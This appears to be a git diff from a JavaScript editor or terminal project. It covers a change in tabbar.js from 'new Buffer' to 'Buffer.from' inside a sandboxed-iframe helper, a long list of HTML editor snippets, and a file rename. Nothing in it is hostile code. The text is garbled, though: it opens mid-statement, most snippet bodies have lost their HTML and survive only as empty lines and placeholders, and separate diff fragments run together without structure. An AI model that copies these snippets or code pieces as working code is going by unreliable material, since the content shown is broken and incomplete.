this.cache.get(cacheTag); if ( (this.opts.otherConf || {})['terminal-cache'] === 1 && cacheCmd diff --git a/source/ui/tabbar.js b/source/ui/tabbar.js index bba31340..c746a28b 100644 --- a/source/ui/tabbar.js +++ b/source/ui/tabbar.js @@ -58,7 +58,7 @@ class Tabbar { * @return {Object} this */ safeHTML(html = "", sandbox = "") { - let _html = new Buffer(html).toString('base64'); + let _html = Buffer.from(html).toString('base64'); // https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox let _iframe = ` ${2}\nsnippet iframe.\n ${3}\nsnippet iframe#\n ${3}\nsnippet img\n ${2}${3}\nsnippet img.\n ${3}${4}\nsnippet img#\n ${3}${4}\nsnippet input\n ${5}\nsnippet input.\n ${6}\nsnippet input:text\n ${4}\nsnippet input:submit\n ${4}\nsnippet input:hidden\n ${4}\nsnippet input:button\n ${4}\nsnippet input:image\n ${5}\nsnippet input:checkbox\n ${3}\nsnippet input:radio\n ${3}\nsnippet input:color\n ${4}\nsnippet input:date\n ${4}\nsnippet input:datetime\n ${4}\nsnippet input:datetime-local\n ${4}\nsnippet input:email\n ${4}\nsnippet input:file\n ${4}\nsnippet input:month\n ${4}\nsnippet input:number\n ${4}\nsnippet input:password\n ${4}\nsnippet input:range\n ${4}\nsnippet input:reset\n ${4}\nsnippet input:search\n ${4}\nsnippet input:time\n ${4}\nsnippet input:url\n ${4}\nsnippet input:week\n ${4}\nsnippet ins\n ${1}\nsnippet kbd\n ${1}\nsnippet keygen\n ${1}\nsnippet label\n \nsnippet label:i\n \n ${7}\nsnippet label:s\n \n \nsnippet legend\n ${1}\nsnippet legend+\n ${1}\nsnippet li\n
  • ${1}
  • \nsnippet li.\n
  • ${2}
  • \nsnippet li+\n
  • ${1}
  • \n li+${2}\nsnippet lia\n
  • ${1}
  • \nsnippet lia+\n
  • ${1}
  • \n lia+${3}\nsnippet link\n ${5}\nsnippet link:atom\n ${2}\nsnippet link:css\n ${4}\nsnippet link:favicon\n ${2}\nsnippet link:rss\n ${2}\nsnippet link:touch\n ${2}\nsnippet map\n \n ${2}\n \nsnippet map.\n \n ${3}\n \nsnippet map#\n \n ${5}${6}\n ${7}\nsnippet mark\n ${1}\nsnippet menu\n \n ${1}\n \nsnippet menu:c\n \n ${1}\n \nsnippet menu:t\n \n ${1}\n \nsnippet meta\n ${3}\nsnippet meta:compat\n ${3}\nsnippet meta:refresh\n ${3}\nsnippet meta:utf\n ${3}\nsnippet meter\n ${1}\nsnippet nav\n \nsnippet nav.\n \nsnippet nav#\n \nsnippet noscript\n \nsnippet object\n \n ${3}\n ${4}\n# Embed QT Movie\nsnippet movie\n \n \n \n \n \n ${6}\nsnippet ol\n
      \n ${1}\n
    \nsnippet ol.\n
      \n ${2}\n
    \nsnippet ol+\n
      \n
    1. ${1}
    2. \n li+${2}\n
    \nsnippet opt\n \nsnippet opt+\n \n opt+${3}\nsnippet optt\n \nsnippet optgroup\n \n \n opt+${3}\n \nsnippet output\n ${1}\nsnippet p\n

    ${1}

    \nsnippet param\n ${3}\nsnippet pre\n
    \n		${1}\n	
    \nsnippet progress\n ${1}\nsnippet q\n ${1}\nsnippet rp\n ${1}\nsnippet rt\n ${1}\nsnippet ruby\n \n ${1}\n \nsnippet s\n ${1}\nsnippet samp\n \n ${1}\n \nsnippet script\n + + +
    + + diff --git a/views/plugin.html b/views/front/plugin.html similarity index 100% rename from views/plugin.html rename to views/front/plugin.html